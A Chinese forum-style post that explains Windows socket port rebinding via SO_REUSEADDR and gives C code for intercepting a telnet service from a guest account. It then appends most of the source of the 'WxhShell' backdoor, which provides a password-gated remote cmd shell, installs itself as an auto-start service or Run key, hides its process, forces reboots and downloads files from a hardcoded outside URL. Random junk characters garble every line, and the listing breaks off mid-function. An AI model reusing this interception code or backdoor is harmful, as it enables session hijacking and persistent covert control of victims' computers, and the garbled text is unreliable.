在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
MLDAr dvK s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
eQ#"-i LXc;`] saddr.sin_family = AF_INET;
_ UF'Cf+Y kRiZ6mn saddr.sin_addr.s_addr = htonl(INADDR_ANY);
ar`}+2Qh0 2m&?t_W bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
0+rBGk @]],H0 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
M!PK3 H Mfhe[A? 这意味着什么?意味着可以进行如下的攻击:
^g+M=jq _ o107. s 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
o|VM{5 3-![%u 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
g*%o%Lv QP6a,^]; 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
#t">tL H"V)dEm 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Aacj? R"71)ob4 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
vrsOA@ee3H OF(tCK 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
KZ/2W9r_, M;0\fUh; 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
':T"nORC C9`x"$ #include
s:sk`~2<gd #include
).r04)/ #include
=XUt?5 #include
q0_Pl* DWORD WINAPI ClientThread(LPVOID lpParam);
wH qbTA int main()
YtT:\#D {
tlmfDQD WORD wVersionRequested;
`?(9Bl DWORD ret;
$0;Dk, WSADATA wsaData;
+]#pm9 BOOL val;
e]l.m!,r SOCKADDR_IN saddr;
(ZK(ODn)i SOCKADDR_IN scaddr;
Biy$p6 int err;
f{R/rb&iB SOCKET s;
1uc;:N G= SOCKET sc;
\XG\ int caddsize;
u|&a!tOf2 HANDLE mt;
5'"9)#Ve DWORD tid;
#tt*yOmiH wVersionRequested = MAKEWORD( 2, 2 );
Ni61o?]Nj err = WSAStartup( wVersionRequested, &wsaData );
mk?F+gh if ( err != 0 ) {
#xxs^Kbqa# printf("error!WSAStartup failed!\n");
gG46hO-M%x return -1;
y/Q,[Uzk\ }
|uln<nM9 saddr.sin_family = AF_INET;
izP>w*/nO qH*Fv:qnM //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
KrD?Z2x (wEaw|Zx saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
G~\=:d=^,` saddr.sin_port = htons(23);
PPj0LFA if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
f.u+({"ql {
:]IYw!_-p printf("error!socket failed!\n");
_i1x\Z~
N return -1;
E#+|.0*!s }
+C9l7 q val = TRUE;
G(7WUMjl //SO_REUSEADDR选项就是可以实现端口重绑定的
HY'-P&H5( if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
q*K.e5"' {
o[K,( printf("error!setsockopt failed!\n");
}JBLzk5| return -1;
{o.i\"x; }
^y&sKO //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
1bJrEXHXy //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
| D,->k //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
i}e OWi 1mz72K if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
By}>h6`[ {
BjCg!6`XF ret=GetLastError();
x]jJ printf("error!bind failed!\n");
X/`M'8v.% return -1;
nfjwWDH }
A;C)#Q/ listen(s,2);
G8!* &vR/ while(1)
c7(Lk"G8 {
\TXCq@ caddsize = sizeof(scaddr);
#R3|nL //接受连接请求
$2gZpO| sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
S-KHot ? if(sc!=INVALID_SOCKET)
dn@_\5 {
"~/O>.p mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
$23dcC*hI if(mt==NULL)
$|bdeQPr\ {
:Z5Twb3h printf("Thread Creat Failed!\n");
xc6A&b>jI break;
5\eM3w'd }
; )J\k2 }
XhG3Of-6 CloseHandle(mt);
B1Cu?k);. }
l|&DI]gw closesocket(s);
*.F4?i2D WSACleanup();
use`
y^c return 0;
'Q F@@ 48 }
#Vi:-zyY DWORD WINAPI ClientThread(LPVOID lpParam)
$^j#z^7 {
/L? ia SOCKET ss = (SOCKET)lpParam;
2io~pk> SOCKET sc;
MF/@Efjn
] unsigned char buf[4096];
tEHgQto SOCKADDR_IN saddr;
ae|j#!~oi long num;
K/ 5U;oC DWORD val;
'PVxc%[ DWORD ret;
9&}i[x4 //如果是隐藏端口应用的话,可以在此处加一些判断
DDwm;,eZ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
N.@@ebuE saddr.sin_family = AF_INET;
1A.e cv' saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
xl4 A< saddr.sin_port = htons(23);
|#?:KvU97E if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
#J09Eka;J {
ZQY?wO: [ printf("error!socket failed!\n");
bL]NSD return -1;
|Y&&g=7 }
j0+l-]F- val = 100;
E|v9khN(]. if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
XPQY*.l&. {
;_Z[' % ret = GetLastError();
$I }k>F return -1;
DZE@C^0% }
_?QVc0S! if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
#9ZHt5T=$ {
x|lX1Mh$ ret = GetLastError();
}*9mNE return -1;
\olYv!f }
I$w:qS&: if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Iu|4QE {
pDV8B/{ printf("error!socket connect failed!\n");
w=feXA3-S closesocket(sc);
/@QPJ~%8Ud closesocket(ss);
@pkQ2OM
2 return -1;
pa8R;A70Dl }
hX9vtV5L while(1)
H^r;,Q$9 {
JOFQyhY0>m //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
^ ^T e //如果是嗅探内容的话,可以再此处进行内容分析和记录
@K=C`N_22 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
GZWU=TC2{2 num = recv(ss,buf,4096,0);
GW;O35
m if(num>0)
#4BwYj(Sl send(sc,buf,num,0);
GLtd6; V else if(num==0)
SA[wFc break;
iw\yVd^]:k num = recv(sc,buf,4096,0);
'K*. ?M if(num>0)
I )wc&>Lc send(ss,buf,num,0);
BH\!yxK else if(num==0)
_-5| "oJ break;
]CxDm }
zSo(+ D
&[ closesocket(ss);
U~1)a(Yu; closesocket(sc);
)
o`ep{<t return 0 ;
g`\5!R1 }
`b?o%5V2x S}/5W !M@jW[s ==========================================================
PB(I3R9 $QB/n63 下边附上一个代码,,WXhSHELL
Ev>P|kV&A @
q:S]YB ==========================================================
&5d~ODO ;(r,;S_`0 #include "stdafx.h"
5u=>~yK+ X([p0W
9V( #include <stdio.h>
51-@4E2:l: #include <string.h>
kr>4%Ndm7 #include <windows.h>
92XG|CWX #include <winsock2.h>
oF L7dL #include <winsvc.h>
Gw-y6e'|Y #include <urlmon.h>
T7R,6qt y/>IF|aX #pragma comment (lib, "Ws2_32.lib")
/ ?Hq #pragma comment (lib, "urlmon.lib")
{L/hhKT F_ -}GN% #define MAX_USER 100 // 最大客户端连接数
Xb2.t^
]f #define BUF_SOCK 200 // sock buffer
7.FD16 #define KEY_BUFF 255 // 输入 buffer
_?v&\j !q!5D` #define REBOOT 0 // 重启
h,|. qfUk #define SHUTDOWN 1 // 关机
>["X(%&w *b8AN3! #define DEF_PORT 5000 // 监听端口
K( r@JW *3\ Nj6 #define REG_LEN 16 // 注册表键长度
QERj`/g #define SVC_LEN 80 // NT服务名长度
w:aV2 A9Icn>3?`( // 从dll定义API
F[KM0t! typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
`G:I|=#w typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
*aW:Z6N typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
QWwdtk typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
)|wC 1J!L =A{s,UP // wxhshell配置信息
Pl\NzB,` struct WSCFG {
Ruv`yfQ int ws_port; // 监听端口
)~-r&Q5d char ws_passstr[REG_LEN]; // 口令
O-&^;]ieJ int ws_autoins; // 安装标记, 1=yes 0=no
%f 5c,} char ws_regname[REG_LEN]; // 注册表键名
@Y !Jm char ws_svcname[REG_LEN]; // 服务名
ek1<9"y char ws_svcdisp[SVC_LEN]; // 服务显示名
Q6;bORN char ws_svcdesc[SVC_LEN]; // 服务描述信息
=$SvKzN char ws_passmsg[SVC_LEN]; // 密码输入提示信息
V 5D8z int ws_downexe; // 下载执行标记, 1=yes 0=no
QjOY1Xze char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
sB8v: char ws_filenam[SVC_LEN]; // 下载后保存的文件名
MO@XbPZB {Y|?~ha# };
,!dVhG# 3b[.s9Q // default Wxhshell configuration
K_F"j!0 struct WSCFG wscfg={DEF_PORT,
GIhX2EvAS "xuhuanlingzhe",
5Nl?Km~ 1,
<w3_EO "Wxhshell",
!v.
<H]s) "Wxhshell",
lYT_Y.%I "WxhShell Service",
MY'T%_id "Wrsky Windows CmdShell Service",
B ?l0u "Please Input Your Password: ",
I%l2_hs0V 1,
x>tsI}C "
http://www.wrsky.com/wxhshell.exe",
@%jY "Wxhshell.exe"
c 5 `74g };
U".5x~UC upnX7as // 消息定义模块
9[R+m3V/` char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
+GncQs
y char *msg_ws_prompt="\n\r? for help\n\r#>";
F^.~37=@ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
k)9+;bKQQ char *msg_ws_ext="\n\rExit.";
3
$a; char *msg_ws_end="\n\rQuit.";
1`GW>ZKv char *msg_ws_boot="\n\rReboot...";
DE+k'8\T char *msg_ws_poff="\n\rShutdown...";
UCj{
& char *msg_ws_down="\n\rSave to ";
fp}5QUm- QmMA]Q char *msg_ws_err="\n\rErr!";
X?o6=)SC| char *msg_ws_ok="\n\rOK!";
7{\6EC}d[& ~r_2V$sC2 char ExeFile[MAX_PATH];
$WXO1o(O int nUser = 0;
8[;AFm ?,` HANDLE handles[MAX_USER];
f>|Wd;7l: int OsIsNt;
+ w'q5/` 8jY<S+[o SERVICE_STATUS serviceStatus;
L+~XW'P? SERVICE_STATUS_HANDLE hServiceStatusHandle;
oqo7Ge2 jq%}=-%KE // 函数声明
tz5\O} int Install(void);
a7!{`fR5 int Uninstall(void);
L;WFHIE int DownloadFile(char *sURL, SOCKET wsh);
0BH-kr int Boot(int flag);
(/FG#D. void HideProc(void);
]=PkgOJD int GetOsVer(void);
GI@;76Qf int Wxhshell(SOCKET wsl);
q4v:s void TalkWithClient(void *cs);
5O;D\M{> int CmdShell(SOCKET sock);
l#~pK6@W int StartFromService(void);
R90#T6^ int StartWxhshell(LPSTR lpCmdLine);
V|~o`(] U>sEFzBup VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
eD8e0
D'S VOID WINAPI NTServiceHandler( DWORD fdwControl );
gVrfZ&XF84 !hjF"Pa // 数据结构和表定义
KciN"g|X SERVICE_TABLE_ENTRY DispatchTable[] =
M:dH> {
C-\3, {wscfg.ws_svcname, NTServiceMain},
xIwILY|W= {NULL, NULL}
O`5h jq# };
\AIFIy /P Tq. // 自我安装
vqZBDQ0 int Install(void)
Km,%p@`m {
q0DRT4K char svExeFile[MAX_PATH];
[RY Rt/?Q HKEY key;
J=&}$ strcpy(svExeFile,ExeFile);
P| hwLM *s<cgPKJ@ // 如果是win9x系统,修改注册表设为自启动
G1\F7A if(!OsIsNt) {
vCXmu_S4^> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
w
^?#xU1.i RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
2x<!>B RegCloseKey(key);
Fy0sn| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
L6#4A3yh RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
}1%%` RegCloseKey(key);
T$<yl#FY return 0;
3.1%L"r[) }
)7X$um }
RB6Q>3g }
_zJ /z else {
_90<*{bt. nM ?Nf} // 如果是NT以上系统,安装为系统服务
Lz!JLiMEET SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
@|5B}%! if (schSCManager!=0)
ioEjbqD< {
?^2nrh,n+ SC_HANDLE schService = CreateService
q!W=U8` (
hC9EL=
A schSCManager,
?z2! ? wscfg.ws_svcname,
{3.n!7+ wscfg.ws_svcdisp,
CRD=7\0(D+ SERVICE_ALL_ACCESS,
Ql%B=vgKL SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
UNK.39 SERVICE_AUTO_START,
Nukyvse SERVICE_ERROR_NORMAL,
V]GF53D svExeFile,
^tjw }sE NULL,
SUv'cld NULL,
P]TT8Jgw NULL,
{9X mFa NULL,
vCNq2l^CW NULL
k DXQpe );
;xiwyfqgE if (schService!=0)
axDa&7% {
>rJ**y CloseServiceHandle(schService);
cGR) $: CloseServiceHandle(schSCManager);
#C~ </R% strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
c*]f#yr? strcat(svExeFile,wscfg.ws_svcname);
1)jeawVmj if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
u!&T}i: RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
5423Ky< RegCloseKey(key);
wlsx| return 0;
;^u,[d }
_C(fz CK }
{}rnn$HQe CloseServiceHandle(schSCManager);
5Zd oem }
FJ4,|x3v[x }
a+\<2NXYD 5ba e- return 1;
>MSK.SNh }
>*opE I+ Qc)i?Z'6 // 自我卸载
Dy>6L79G int Uninstall(void)
Jm#p!G+ {
ck%YEMs HKEY key;
Vo+.s#wN`h M@P%k`6C if(!OsIsNt) {
{Z7ixc523 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
$(+xhn(O RegDeleteValue(key,wscfg.ws_regname);
K0>+-p oL RegCloseKey(key);
8aIqc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
%P M#gnt@ RegDeleteValue(key,wscfg.ws_regname);
9#m3<oSJ RegCloseKey(key);
#/jug[wf*! return 0;
Xdo\DQn }
?Z_T3/ f }
Kh[l};/F }
F\^8k /0 else {
SDV#p];u LMx/0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
$v[mIR if (schSCManager!=0)
S89j:KRXH% {
3 o$zT9j SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
+RJKJ:W if (schService!=0)
WJu(,zM?G {
>j3':>\U if(DeleteService(schService)!=0) {
7}y@VO6] CloseServiceHandle(schService);
C:}1r CloseServiceHandle(schSCManager);
d(TN(6g@ return 0;
B@NBN&Fr }
}(
CYok CloseServiceHandle(schService);
HfgTc
h }
&VA^LS@b CloseServiceHandle(schSCManager);
71Za!3+ }
AIY 1sSK }
c*. LTo5v return 1;
F8dr-"G }
8>W52~^fU leb/D>y // 从指定url下载文件
!=PH5jTY int DownloadFile(char *sURL, SOCKET wsh)
@TD=or .& {
dKCl#~LAI' HRESULT hr;
3)ox8,{%} char seps[]= "/";
%8|lAMTY7/ char *token;
-gk2$P- char *file;
TukhGgmF char myURL[MAX_PATH];
R`E:`t4G char myFILE[MAX_PATH];
-j]c(Q MA] `B4Ilh"d strcpy(myURL,sURL);
~3M8"}X;L token=strtok(myURL,seps);
{6GX
?aw' while(token!=NULL)
az:}RE3o {
1 :$#a file=token;
)^AZmUYZ token=strtok(NULL,seps);
\8!CKnfs }
]'[:QGr Sn4xv2/ GetCurrentDirectory(MAX_PATH,myFILE);
Knqv|jJVx1 strcat(myFILE, "\\");
JVkuSIR> strcat(myFILE, file);
m$^5{qpg send(wsh,myFILE,strlen(myFILE),0);
dsx<ZwZN> send(wsh,"...",3,0);
.?5
~zK hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
036m\7+Qj if(hr==S_OK)
5,s@K>9l; return 0;
F-rhxJd else
Gf3-%s xA return 1;
:wXiz`VH #::+# G }
6H:
fg ,b - // 系统电源模块
S|)atJJ0G" int Boot(int flag)
3@\/5I xn {
e)B1)c 8s HANDLE hToken;
B>>_t2IU TOKEN_PRIVILEGES tkp;
`|>]P"9yp =pi,]m if(OsIsNt) {
NfPWcK[ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
MD;Z UAX< LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
fh3uo\`@ tkp.PrivilegeCount = 1;
XPqGv=CN tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
l7jen=(Zb; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
tc[Ld# if(flag==REBOOT) {
)W
p7e51 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
} % Ie return 0;
89^g$ ac }
TP {\V>*Yz else {
CEkUXsp if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
bRyxP2 return 0;
ym%` l! }
#}B1W&\sw }
k<Gmb~Tg1 else {
AVw oOvJ if(flag==REBOOT) {
i0/QfB%O if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
b way+lh return 0;
<!FcQVH+L }
]s0wJD= else {
zps=~| if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
H=,>-eVv* return 0;
xok
T }
f4\$<g/~ }
jY%.t)>) au+Jz_$) return 1;
,'HjL:r }
RHn3\N *(1<J2j // win9x进程隐藏模块
-*KKrte void HideProc(void)
$%\6"P/64 {
qMVuFwPhi yOQae m^O HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
q MrM^ ~ if ( hKernel != NULL )
Ul/m]b6- {
\1joW# pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
9%|skTgIqH ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
^
'|y^t FreeLibrary(hKernel);
LH_H
yP_ }
z"yW):X mOh?cjOi return;
aWJ
BYw6{L }
PkyX,mr#1 +em!TO // 获取操作系统版本
B-]bhA4|: int GetOsVer(void)
!9NF@e'&! {
A32Sdr'D OSVERSIONINFO winfo;
?2da6v,t winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
f!yl&ulKU GetVersionEx(&winfo);
5j.@)XXe if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
WHBGhU return 1;
.6$=]hdAp else
Uv>e :U7 ; return 0;
%i3[x.M }
%.f%Q?P |wv+g0]Pg^ // 客户端句柄模块
,~38IIS>_ int Wxhshell(SOCKET wsl)
7L&,Na {
0]*W0#{Zj SOCKET wsh;
$t^Td< struct sockaddr_in client;
Ewr2popK DWORD myID;
kI!@J6
~ !mY0odH while(nUser<MAX_USER)
v{|y,h&]a {
mMXDzAllB int nSize=sizeof(client);
_;5zA"~c#@ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
q?mpvpLG if(wsh==INVALID_SOCKET) return 1;
"IQYy~
/ >SvS(N{ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
mMl len if(handles[nUser]==0)
nTo?~=b closesocket(wsh);
IFew3!{\ else
qF$y
p>|# nUser++;
QOUyD;0IW }
!2HF|x$ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
M0lJyzJ r`<e<C return 0;
\.i ejB }
p<'pqf k"gm;,` // 关闭 socket
~ L%,9 void CloseIt(SOCKET wsh)
/v<Gt%3X {
(n.IK/: closesocket(wsh);
iOhX\@& nUser--;
Hs8JJGXWB ExitThread(0);
6c(b*o }
*rw6?u9I LlgFQfu8 // 客户端请求句柄
. G25D void TalkWithClient(void *cs)
w=!xTA {
m?yztm~u --"5yGOL SOCKET wsh=(SOCKET)cs;
[^}bc-9?i char pwd[SVC_LEN];
8$]SvfX char cmd[KEY_BUFF];
_u6NaB char chr[1];
Q~ Ad{yC int i,j;
z.RM85 ?T b49h @G while (nUser < MAX_USER) {
n(# yGzq YU6|/
<8 if(wscfg.ws_passstr) {
`u_MdB}<x; if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
&F#eYEuy //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
p|nPu*R-\ //ZeroMemory(pwd,KEY_BUFF);
"{E%Y* i=0;
~"\v(\P e while(i<SVC_LEN) {
Q'3tDc< Z]{=Jy!F // 设置超时
mDp8JNJNE fd_set FdRead;
{g[kn^| struct timeval TimeOut;
ndDF(qHr FD_ZERO(&FdRead);
1>\V>g9 FD_SET(wsh,&FdRead);
|ITCw$T TimeOut.tv_sec=8;
^Tj{}<yT TimeOut.tv_usec=0;
4zhh**]B int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
2 f%+1uU if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
O>vCi&
Hp ;$fQ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
ucz~y!4L{ pwd
=chr[0]; ^fO9oPM|
if(chr[0]==0xd || chr[0]==0xa) { KwaxNb5
pwd=0; T zS?WYF
break; ,d lq2
} i9qIaG/
i++; l44QB8
9
} 6A=k;do
xH`
VX-X3
// 如果是非法用户,关闭 socket gzvgXZ1q"
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 98
NFJ
} 4Ng:7C2
Z*b l J5YC
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B>cT<B
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l+&DBw[
Zw{?^6;cS
while(1) { GNuIcy
j-"34
ZeroMemory(cmd,KEY_BUFF); TUwX4X6m
N8kNi4$mp=
// 自动支持客户端 telnet标准 V'dw=W17V
j=0; m##!sF^k~J
while(j<KEY_BUFF) { 9* 3;v;F
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -~JYfj@
cmd[j]=chr[0]; cVMRSp
if(chr[0]==0xa || chr[0]==0xd) { HrZX~JnTmf
cmd[j]=0; SvkCx>6/G
break; nIL67&
} B:UM2Jl
j++; KlS#f
} GB}=
:Sd`4"AA
// 下载文件 sz/^Ie-~
if(strstr(cmd,"http://")) { W?wt$'
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8_Uhh5[
if(DownloadFile(cmd,wsh)) m:0[as=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3'i(wI~<[
else %LmsywPPp
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s3@mk\?qMe
} P4{~fh (
else { E8nj_^Z
x3U>5F@
switch(cmd[0]) { :/$_eg0A
iWA?FBv
// 帮助 gxUa-R
case '?': { 'xnI Nu
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NMhpKno
break; H
n]( )/
} ?tqJkL#
// 安装 [Pjitw/?
case 'i': { v#s*I/kw
if(Install()) z6B#F<h
send(wsh,msg_ws_err,strlen(msg_ws_err),0); W)T'?b'.
else b]xoXC6@ t
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S!gzmkGcj
break; #M'V%^x P
} zv;xxAX
// 卸载 #+U1QOsz
case 'r': { 1$C?+H
if(Uninstall()) zv/dj04>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]s)Y">6
else oqbz!dM(Z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f2M*]{N
break; *2vp2xMA@
} ]i0=3H2
// 显示 wxhshell 所在路径 U~?mW,iRL
case 'p': { 6L\]Ee
char svExeFile[MAX_PATH]; zd!%7
UP
strcpy(svExeFile,"\n\r"); xb0,dZb
strcat(svExeFile,ExeFile); #%E^cGfY
send(wsh,svExeFile,strlen(svExeFile),0);
!j%
break; P?|\Ig1Gk
} gzat!>*
// 重启 ,#GB
case 'b': { "zXrfn
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {n|Uf 5
if(Boot(REBOOT)) rMjb,2*rC7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); kF,ME5%
else { /)K;XtcN
closesocket(wsh); j%bC9UkE3
ExitThread(0); |7A}LA
} {=Jo!t;f
break; T!41[vm(
} Ck%if
// 关机 Q_iN/F
case 'd': { :X-S&SX0
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); OX]P;#4tU
if(Boot(SHUTDOWN)) ^=5y;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :WQlpLn
else { c[ 0`8s!
closesocket(wsh); +U_1B%e(%
ExitThread(0); gCG#?f
} 0 } &/n>F
break; bE2O[B
} R'>@ja*
// 获取shell \SO)|M>. a
case 's': { Lr8|S
CmdShell(wsh); ZS]Z0iZv9
closesocket(wsh); ?)k]Vg.
ExitThread(0); }KIS_krs
break; z8{-I@+`
} #s\kF *
// 退出 SRk!HuXh
case 'x': { UyV5A
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $>yfu=]?
CloseIt(wsh); %
C2Vga#
break; Lq;iR
} d-tg^Ot#
// 离开 ,t wB" *
case 'q': { L1(-xNUo_i
send(wsh,msg_ws_end,strlen(msg_ws_end),0); U{pg
y#/
closesocket(wsh); xJ. kd
Tr
WSACleanup(); z;<~j=lP
exit(1); &Q}%b7
break; PO6yEr
} lfC]!=2%~8
} <? !'
} jg{2Sxf!c
4`: POu&
// 提示信息 [v*q%Mi_
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !|u?z%
} |?g-8":H8P
} 6g"h}p\{S
['pO=ho
return; 0hGmOUO
} UXpp1/d|e
vF'>?O?
// shell模块句柄 u
"k<
N|.3
int CmdShell(SOCKET sock) wik<#ke
{ C|3Xz[k{
STARTUPINFO si; g<0K
i^#
ZeroMemory(&si,sizeof(si)); J!5b~8`v
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .7b%7dQ<\
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `Z5dRLrd
PROCESS_INFORMATION ProcessInfo; mR
XRuK
char cmdline[]="cmd"; x`@`y7(
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $)o0{HsL+
return 0; Mz2TwU_
} JJbd h \
g.hYhg'KUh
// 自身启动模式 5.&)hmpg
int StartFromService(void) vGh>1U:
{ 2/s42
FoG
typedef struct Jkbeh.
{ (g X8iKl
DWORD ExitStatus; WR"1d\m:
DWORD PebBaseAddress; :0 n+RL*5
DWORD AffinityMask; |D/a}Av>B
DWORD BasePriority; $^{#hYq)o
ULONG UniqueProcessId; Tjrb.+cua
